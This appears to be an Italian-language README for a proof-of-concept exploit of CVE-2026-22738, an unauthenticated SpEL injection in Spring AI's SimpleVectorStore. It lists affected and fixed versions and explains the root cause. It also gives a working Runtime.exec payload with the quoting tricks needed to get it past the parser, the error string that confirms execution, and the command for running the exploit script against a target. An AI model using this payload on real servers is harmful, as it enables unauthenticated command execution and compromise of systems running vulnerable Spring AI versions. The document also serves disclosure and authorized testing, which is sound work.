
Proof-of-concept exploit per CVE-2026-22738, una critica iniezione SpEL con RCE in Spring AI SimpleVectorStore, che dimostra l'esecuzione non autenticata di comandi di sistema operativo.
Esecuzione remota di codice non autenticata tramite iniezione di Spring Expression Language (SpEL) in SimpleVectorStore.similaritySearch().
| Artifact | Vulnerabile | Corretta |
|---|
org.springframework.ai:spring-ai-core | 1.0.0 – 1.0.4 | 1.0.5 |
org.springframework.ai:spring-ai-core | 1.1.0-M1 – 1.1.3 | 1.1.4 |
Commit di correzione: ba9220b22383e430d5f801ce8e4fa01cf9e75f29
SimpleVectorStore.similaritySearch() passa il nome della chiave del filtro fornito dal chiamante, senza alcuna modifica, in un template SpEL valutato da StandardEvaluationContext. Poiché StandardEvaluationContext espone l'intera API di reflection JVM, un attaccante può iniettare:
T(java.lang.Runtime).getRuntime().exec(...)
nella chiave del filtro per ottenere l'esecuzione di comandi OS non autenticata.
L'iniezione ingenua non funziona immediatamente — è necessario aggirare due peculiarità del parser:
' viene trattata come stringa tra apici; gli apici esterni vengono rimossi, alterando il payload."..." fa sì che il parser rimuova le virgolette doppie esterne, lasciando l'espressione SpEL interna intatta come valore della chiave passato a #metadata['<KEY>'].#metadata[''] su entrambi i lati dell'espressione iniettata (invece di una variabile non definita) evita un errore SpEL di unknown variable attivando comunque exec().L'espressione valutata risultante assume la forma:
#metadata[''] + T(java.lang.Runtime).getRuntime().exec(new String[]{'/bin/bash','-c','<cmd>'}) + #metadata[''] == 'x'
Il corpo della risposta HTTP conterrà EL1030E — l'errore di runtime SpEL:
operator ADD not supported between null and java.lang.ProcessImpl
Questo errore viene sollevato dopo che exec() restituisce, confermando l'esecuzione di comandi a livello OS senza richiedere un callback out-of-band.
Prerequisiti:
pip install requests
Esegui l'exploit:
python3 exploit.py [--target http://localhost:8082] [--wait]

Docker Desktop (macOS/Windows): usa host.docker.internal invece di 127.0.0.1 per i payload di callback.
Il PoC esegue cinque passaggi sequenziali:
| Passaggio | Descrizione |
|---|---|
| 1 | Verifica di base — conferma che l'endpoint sia raggiungibile e restituisca i dati seed |
| 2 | Sonda SpEL cieca — legge java.version tramite T(java.lang.System) per confermare il punto di iniezione |
| 3 | RCE: touch /tmp/pwned_cve_2026_22738 all'interno del container |
| 4 | RCE: scrive l'output di id / uname / hostname in /tmp/rce_proof.txt |
| 5 | Verifica tramite docker exec — stampa il contenuto del file di prova |
Questa proof-of-concept è fornita esclusivamente a scopo educativo e per test di sicurezza autorizzati. Non utilizzarla contro sistemi di cui non si è proprietari o per i quali non si dispone di esplicita autorizzazione scritta al test.